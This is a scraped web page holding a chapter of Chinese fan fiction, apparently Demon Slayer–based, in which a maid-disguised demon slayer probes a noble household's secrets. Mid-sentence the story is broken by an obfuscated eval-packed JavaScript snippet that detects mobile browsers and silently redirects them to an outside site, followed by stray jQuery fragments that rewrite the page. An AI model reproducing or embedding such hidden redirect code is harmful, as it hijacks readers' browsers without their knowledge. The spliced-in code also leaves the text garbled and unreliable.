当佣人的一天,首先要从清晨五点起床打扫卫生开始。


    “把进入你视界的所有脏污都完美地清除,不能让自己侍奉的主人看到哪怕一丝污秽,这才是一位合格的佣人应该做到的事。”


    菊松高高昂着头,手持扫把指着银,单看现在的她,完全想象不出她能在堀川一家人面前把头低那么下面。


    “把这条走廊打扫完毕后,你就要去小小姐房间悄悄打开窗户,让一天之中最为清新的空气被小小姐吸入。


    “七点左右准时用温热的毛巾替小姐洗脸,动作要轻柔,这样才能让小小姐在最舒适的状态下迎来一天。还有,全程不准站起来,一直跪着,明白了吗?”


    “我们是将军府的保姆吗?小小姐今年几岁了?  ”


    “不许顶嘴,你只需要回答是还是不是就好了!”


    “……是。”


    “声音太小了!”


    “可是菊松姐,我怕声音太大吵醒娇贵的小小姐。”银故意指了指她们身后的那扇门——菊松的主人正在那里面沉睡。


    看菊松的表情,她似乎很想用力从鼻腔里发出哼声,但又害怕这个动静也能吵醒小小姐,只能强行憋住。


    两人分头打扫起小小姐经常要出入的那条走廊,银很利索地打扫完毕,来到了菊松附近帮她打扫。


    菊松瞥了一眼银,手下动作没有停顿:“你速度倒是很快,帮我打扫是想讨好我吗?”


    “我只是完成自己的工作罢了。”


    银说着,刻意用扫把发出很大的沙沙声。


    “小点声小点声,吵醒小小姐怎么办?”


    银如她所愿放轻了声音:“我昨天听菊松姐说你在这里干了五年,一直都是在小小姐身边的吗?”


    “没错,我刚来时小小姐才只到我的腰,现在已经成长为了出色的淑女……”


    “小小姐画技那么精湛,是她自学的吗?”


    “哦?你终于对自己该做什么有了一定的认知,开始对自己侍奉的主人感兴趣了吗?小小姐正是自学达到了这种境界——我虽然想这么夸赞,但并不是这样的。


    “她与大小姐一同跟随一位技艺非凡的画师学习,日复一日钻研,才终于有了如今的成就。无数青年仰慕小小姐的一手画技,上门提亲呢。”


    菊松一旦说起小小姐的事情,寡淡的五官就像是被颜料涂满般,眉飞色舞。


    “真好啊,我也想学画画。那位画师是谁,还会来这里教导小小姐吗?我有幸能去观摩一下吗?”


    “你身为佣人,怎么配和小小姐有同样的老师?”


    “我只说想看看而已,那位画师还会来吗?”


    “那位画师啊……”菊松的眉心一点点放松,她苍白的嘴唇缓缓勾勒出向上的弧度,仿佛要提到眼角边一样,怎么看都不是个邻人舒服的微笑。


    “那种猴子一样的玩意,来不来都无所谓吧?只要留下来的画作能够启发小小姐,他的一生也就有意义了。”


    银抓紧扫把:“小小姐辞退他了?”


    “不啊,他至今仍然是小小姐的老师。”菊松保持着笑容,眼底闪烁着真实的喜悦。


    “真是太好了,小小姐那么心善。”


    失踪了三年,至今仍然是小小姐的老师。


    该怎么去理解这句话的含义?


    即使老师已经失踪,可在小小姐心里,画师仍然被她尊敬?


    或者说……画师失踪,其实是被囚禁在了堀川宅邸?


    又或者,画师就是他们饲养的食人鬼?


    菊松突然凑近银,含笑的眼眸里倒映着面无表情的银。


    “你究竟是对小小姐感兴趣,还是对画师感兴趣?”


    “我一定要选一个吗?”银推开菊松的脸,靠这么近让她很不适应。


    “比起人,我对画师留下来的画作更感兴趣,我能看看吗?”


    菊松被推开后,收起笑容,语气也变得和平常差不多了:“这个需要小小姐同意,你自己去请示她。”


    可以哦。


    一小时后,被热毛巾敷醒的小小姐,面对银的请求毫不在意地同意了。


    她任由身边两位沉默的佣人替自己擦脸洗手,被换上新衣服后,小小姐坐在那张矮书桌后面,手指指了指两位佣人。


    “你们,去把老师的画作拿来。”也许是刚醒来,她看起来非常懒洋洋。


    “新来的,你来我身边。”


    银下意识想站起来,但很快就反应过来,压下试图起身的动作,用膝盖平移到小小姐身边。


    这个姿势还挺累人的,当初在训练场村田究竟是怎么那么快就滑走的?


    “你对画画感兴趣吗?我来教你吧。”


    其实并不是真的感兴趣,但这也算是一个光明正大收集情报的机会,于是银点了点头。


    说是教银画画,但更多是小小姐让银握着笔,她握着银的手随意画了起来,银根本没有排上用武之地。


    她在白纸上画了几笔,颇为好奇地看着银的手。因为干活和握刀,银的手和小小姐比起来满是茧子,摸上去如同在摸一块砖。


    小小姐摩挲了几下,露出了有些怀念的表情。


    被只说过几句话的华族女孩握着手,银只觉得被接触的部分又痒又热,差一点就甩开了她的手。


    “呵呵…你们这群乡下人都是同样的反应,被我握着手画画就这么难受吗?”


    尽管银尽力想要隐藏自己的不适,但还是被小小姐发现了,她发现了,也没有放开的意思。


    她并没有错过小小姐一闪而过的怀念:“您也教过别人画画吗?”


    “是啊……就像这样握着手,你好奇是谁吗?告诉你也无妨,是我老师的女儿。”


    提起老师的女儿,银的手背被施加的力道越来越大,直到银无法忽视的程度,她低下头,发现小小姐的指甲深深嵌进了自己的手背。


    不过小小姐始终没什么力气,甚至无法划破银的皮肤。


    “你和她稍微有一点像,对周围环境都很警惕……不过她远远比你要有气质,算是半个乡下人吧。”


    “也就是您的朋友?平日也会来拜访您吗?”熟练忽视对自己的人身攻击,银冷静地看着她。


    小小姐松开了银的手,看向门口,两位佣人搬来了一幅画卷,她拍手示意佣人摊开画卷。


    这是一幅很长的画卷,绘制的是地狱中的景象。地狱十王庄严地身姿、身着蓝黄色唐装的冥官们、漫天的烈火、在剑山刀树上受苦的罪人们,无一不是表情痛苦,遭受着极大的折磨。


    随着画卷的展开,仿佛地狱的景象真实展现在了银的面前一样。


    小小姐轻柔地抚摸着画卷中用长矛刺穿罪人的狱卒,脸贴在画上,地狱的火焰注入她的眼眸,小小姐轻轻笑了起来,看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262968|196385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向银的眼神,让银误以为自己在遭受地狱之火的焚烧。


    “这世间要是真存在地狱就好了。把我那无能的父亲、肤浅的母亲以及粗鄙的姐姐一同投入无间地狱……”


    她的话语带着不一般的热度,散落在房间中,如同火星子点燃了整片空间。


    可小小姐的表情却又那么冷淡,让人困惑如此充满憎恶的絮语是否真的出自她之口。


    银总觉得气氛有些沉重,像是被拖入泥潭一样,空气变得粘稠又湿润,她决定找个借口先行离开:“您的毛笔脏了,我去打点水清洗一下。”


    说完,她就要离开。


    “慢着,我没有说让你走。”小小姐在银经过她时,一把抓住了银的手臂,制止了银的离去。


    那双缠满火焰的橘色眼眸上下打量起银来,充满热量却毫无感情,银很熟悉这样的眼神。


    那位试药医生,也是用同样的眼神看着银的。


    没有把银放在眼里,只对她能否起到作用而感兴趣的眼神。


    “你身上总有紫藤花的味道,你很喜欢这种花吗?”


    “是的,这是我最爱的花。”


    “在堀川家,不允许出现这种花。”


    “我下次注意。”


    夜晚。


    同样的地点,三个人再次在房顶上聚集。


    银将白天发生的事情告诉两位同伴:“我怀疑那位画师或者画师的女儿就是他们饲养的食人鬼……小小姐肯定和鬼有关联,但她似乎非常仇视自己的家人。”


    锖兔单手撑在身后,抬头望着硕大的月亮。


    今晚似乎是满月,满盈的月亮把黑夜也照得同白天般。坐在房顶上,恍惚间会误以为自己会被月亮吸收。


    “我趁着休息时间探查了一下堀川家,主院银清楚,基本上所有房间都有使用。别院比较偏僻,平常只有厨房和看守大门的下人们使用。


    “以这棵柳树为起点,向前走十步左右,那里是不是有个小木屋?山田先生说那是平日里用来摆放木柴的房间。”


    银和义勇顺着锖兔的话,朝他说的方位看去,确实能看到一个不算大的小木屋。


    “难道那间房子上了锁,你白天不方便进去吗?”


    义勇站起身,打算去看一看究竟。


    “不……其实我进去了,没有锁上。就像山田先生说的那样,是用来摆放木柴的小屋。”


    义勇默默坐下了。


    “但既然你特意提起,就说明并不如看上去的那样普通……对吗?”银看了一眼说话大喘气的锖兔。


    “事实上,那栋小屋完全看不出有什么异常。除了地面,中空的地面,踩上去的瞬间会听到轻微的声音,和一般实心的地面完全不同。


    “既然只是摆放木柴的小屋,为什么地下会是中空的?杂物放在地上不就好了,反正那里也少有人出入……你们觉得呢?”


    这栋宅子想要掩盖的秘密,无论怎么想都和食人鬼相关。


    义勇再次站起身,手已经搭在了日轮刀上:“没有犹豫的必要,我们直接进去吧……”说完,他突然想到了些什么,欲言又止地看了眼银。


    “看我干嘛?有事直说。”无法理解义勇的犹豫,银直接询问道。


    “银,你是否有兄弟姐妹?我今天在街上看见一个和你有些相似的人。”


    义勇透露出的情报,令银微微睁大了眼睛。